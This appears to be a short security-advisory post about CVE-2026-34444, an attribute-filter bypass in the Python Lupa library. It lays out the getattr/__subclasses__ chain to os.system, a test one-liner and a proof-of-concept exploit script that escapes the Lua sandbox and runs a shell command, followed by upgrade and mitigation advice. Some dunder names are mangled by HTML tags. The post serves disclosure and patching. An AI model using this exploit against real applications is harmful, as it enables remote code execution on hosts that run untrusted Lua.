Lupa (Python-Lupa), Attribute Filter Bypass, CVE-2026-34444 (Critical)

Listen to this Post

The `attribute_filter` in Lupa is designed to block access to sensitive Python attributes (e.g., __class__, __mro__) when exposing objects to Lua. However, the filter is applied only to direct attribute access (obj.attr). It is not enforced when attributes are accessed through Python built‑ins like `getattr` and setattr.
An attacker who can execute Lua code can therefore:

1. Call `python.builtins.getattr` to retrieve `__class__`.

  1. Walk the `__mro__` chain to reach the base `object` class.

3. Call `__subclasses__()` to enumerate all loaded classes.

  1. Locate a class (e.g., os._wrap_close) that exposes __globals__.

5. Access `os.system` via `__globals__`.

6. Execute arbitrary commands on the host.

This inconsistency completely breaks the security boundary that `attribute_filter` was intended to enforce, leading to full sandbox escape and remote code execution.

DailyCVE form:

Platform: Lupa / python-lupa
Version: 2.6 and earlier
Vulnerability: attribute_filter bypass
Severity: Critical
date: 2026-04-07

Prediction: 2026-04-14

What Undercode Say:

Check installed Lupa version
pip show lupa | grep Version
Test for vulnerability (Python)
python -c "import lupa; from lupa import LuaRuntime;
def f(obj, attr, is_setting):
if attr.startswith('_'): raise AttributeError()
return attr
lua = LuaRuntime(attribute_filter=f)
lua.globals().x = []
lua.execute('print(python.builtins.getattr(x, \"<strong>class</strong>\"))')"

Exploit:

import lupa
from lupa import LuaRuntime
def protect(obj, attr, is_setting):
if attr.startswith('_'): raise AttributeError()
return attr
lua = LuaRuntime(attribute_filter=protect)
lua.globals().user = object()
lua.execute('''
local getattr = python.builtins.getattr
local cls = getattr(user, "<strong>class</strong>")
local _, obj_cls = getattr(cls, "<strong>mro</strong>")
local subs = getattr(obj_cls, "<strong>subclasses</strong>")()
for _, c in ipairs(subs) do
if tostring(c):find("os._wrap_close") then
local system = getattr(getattr(c, "<strong>init</strong>"), "<strong>globals</strong>")["system"]
system("id")
end
end
''')

Protection from this CVE:

  • Upgrade to Lupa version 2.7 or later (once available).
  • If upgrading is not possible, disable access to Python built‑ins by setting `register_builtins=False` when creating the LuaRuntime.
  • Avoid exposing untrusted Lua code to any Python runtime that uses `attribute_filter` as the sole security control.

Impact:

  • Complete bypass of the intended attribute‑filtering sandbox.
  • Access to Python internals and arbitrary class traversal.
  • Execution of arbitrary system commands on the host.
  • Full compromise of any application that relies on `attribute_filter` to isolate untrusted Lua scripts.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top